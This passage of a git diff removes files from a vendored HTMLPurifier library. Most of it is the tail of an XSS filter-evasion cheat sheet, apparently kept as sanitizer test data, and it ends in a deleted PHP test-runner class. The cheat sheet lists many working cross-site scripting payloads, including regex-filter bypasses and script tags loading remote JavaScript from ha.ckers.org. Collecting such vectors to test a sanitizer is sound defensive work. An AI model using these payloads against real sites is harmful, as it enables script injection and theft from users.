encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" - Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - No Quotes/Semicolons - <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Event Handlers List 1 - See Below - Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - --onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - --onBegin() (fires immediately when the element's timeline begins) - --onBlur() (in the case where another popup is loaded and window loses focus) - --onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - --onCellChange() (fires when data changes in the data provider) - --onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - --onClick() (fires when someone clicks on a form) - --onContextMenu() (user would need to right click on attack area) - --onControlSelect() (fires when the user is about to make a control selection of the object) - --onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - --onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - --onDataSetChanged() (fires when the data set exposed by a data source object changes) - --onDataSetComplete() (fires to indicate that all data is available from the data source object) - --onDblClick() (fires when user double-clicks a form element or a link) - --onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) - --onDrag() (requires that the user drags an object) - --onDragEnd() (requires that the user drags an object) - --onDragLeave() (requires that the user drags an object off a valid location) - --onDragEnter() (requires that the user drags an object into a valid location) - --onDragOver() (requires that the user drags an object into a valid location) - --onDragDrop() (user drops an object (e.g. file) onto the browser window) - --onDrop() (fires when user drops an object (e.g. file) onto the browser window) - - - - Browser support: - - - Event Handlers List 2 - See Below - - -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) - --onError() (loading of a document or image causes an error) - --onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) - --onFilterChange() (fires when a visual filter completes state change) - --onFinish() (attacker could create the exploit when marquee is finished looping) - --onFocus() (attacker executes the attack string when the window gets focus) - --onFocusIn() (attacker executes the attack string when window gets focus) - --onFocusOut() (attacker executes the attack string when window loses focus) - --onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) - --onKeyDown() (fires when user depresses a key) - --onKeyPress() (fires when user presses or holds down a key) - --onKeyUp() (fires when user releases a key) - --onLayoutComplete() (user would have to print or print preview) - --onLoad() (attacker executes the attack string after the window loads) - --onLoseCapture() (can be exploited by the releaseCapture() method) - --onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) - --onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) - --onMouseDown() (the attacker would need to get the user to click on an image) - --onMouseEnter() (fires when cursor moves over an object or area) - --onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseMove() (the attacker would need to get the user to mouse over an image or table) - --onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) - --onMouseOver() (fires when cursor moves over an object or area) - --onMouseUp() (the attacker would need to get the user to click on an image) - --onMouseWheel() (the attacker would need to get the user to use their mouse wheel) - --onMove() (user or attacker would move the page) - --onMoveEnd() (user or attacker would move the page) - --onMoveStart() (user or attacker would move the page) - --onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) - --onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) - --onPause() (fires on every element that is active when the timeline pauses, including the body element) - --onProgress() (attacker would use this as a flash movie was loading) - --onPropertyChange() (user or attacker would need to change an element property) - --onReadyStateChange() (user or attacker would need to change an element property) - - - - Browser support: - - - Event Handlers List 3 - See Below - -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) - --onReset() (fires when user or attacker resets a form) - --onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) - --onResume() (fires on every element that becomes active when the timeline resumes, including the body element) - --onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowDelete() (user or attacker would need to delete a row in a data source) - --onRowInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSynchRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - - - - Browser support: - - - Evade Regex Filter 1 - <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: - /<script[^>]+src/i - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 2 - <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I've seen this regex in the wild) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 3 - <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Another XSS to evade this regex filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 4 - <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Yet another XSS to evade the same filter: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i -The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Evade Regex Filter 5 - <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> - And one last XSS attack (using grave accents) to evade this regex: - /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Filter Evasion 1 - <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> - - This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Filter Evasion 2 - <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IP Encoding - <A HREF="http://66.102.7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - URL Encoding - <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Dword Encoding - <A HREF="http://1113982867/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Hex Encoding - <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Octal Encoding - <A HREF="http://0102.0146.0007.00000223/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc... - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Mixed Encoding - <A HREF="h tt p://6&#09;6.000146.0x7.147/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -The tabs and newlines only work if this is encapsulated with quotes. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Protocol Resolution Bypass - <A HREF="//www.google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Firefox Lookups 1 - <A HREF="//google">XSS</A> - Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 2 - <A HREF="http://ha.ckers.org@google">XSS</A> - This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Firefox Lookups 3 - <A HREF="http://google:ha.ckers.org">XSS</A> - This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Removing Cnames - <A HREF="http://google.com/">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). -When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Extra dot for Absolute DNS - <A HREF="http://www.google.com./">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Link Location - <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> - URL string evasion (assuming "http://www.google.com/" is programmatically disallowed) -JavaScript link location - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Content Replace - <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> - Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:". - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - diff --git a/vendor/ezyang/htmlpurifier/test-settings.sample.php b/vendor/ezyang/htmlpurifier/test-settings.sample.php deleted file mode 100644 index c4cdc5d81b..0000000000 --- a/vendor/ezyang/htmlpurifier/test-settings.sample.php +++ /dev/null @@ -1,74 +0,0 @@ -_command = $command; - $this->_quiet = $quiet; - $this->_size = $size; - } - public function getLabel() - { - return $this->_command; - } - public function run($reporter) - { - if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); - return $this->_invokeCommand($this->_command, $reporter); - } - public function _invokeCommand($command, $reporter) - { - $xml = shell_exec($command); - if (! $xml) { - if (!$this->_quiet) { - $reporter->paintFail('Command did not have any output [' . $command . ']'); - } - return false; - } - $parser = $this->_createParser($reporter); - - set_error_handler(array($this, '_errorHandler')); - $status = $parser->parse($xml); - restore_error_handler(); - - if (! $status) { - if (!$this->_quiet) { - foreach ($this->_errors as $error) { - list($no, $str, $file, $line) = $error; - $reporter->paintFail("Error $no: $str on line $line of $file"); - } - if (strlen($xml) > 120) { - $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); - } else { - $msg = $xml; - } - $reporter->paintFail("Command produced malformed XML"); - $reporter->paintFormattedMessage($msg); - } - return false; - } - return true; - } - public function _createParser($reporter) - { - $parser = new SimpleTestXmlParser($reporter); - return $parser; - } - public function getSize() - { - // This code properly does the dry run and allows for proper test - // case reporting but it's REALLY slow, so I don't recommend it. - if ($this->_size === false) { - $reporter = new SimpleReporter(); - $this->_invokeCommand($this->_command . ' --dry', $reporter); - $this->_size = $reporter->getTestCaseCount(); - } - return $this->_size; - } - public function _errorHandler($a, $b, $c, $d) - { - $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/Debugger.php b/vendor/ezyang/htmlpurifier/tests/Debugger.php deleted file mode 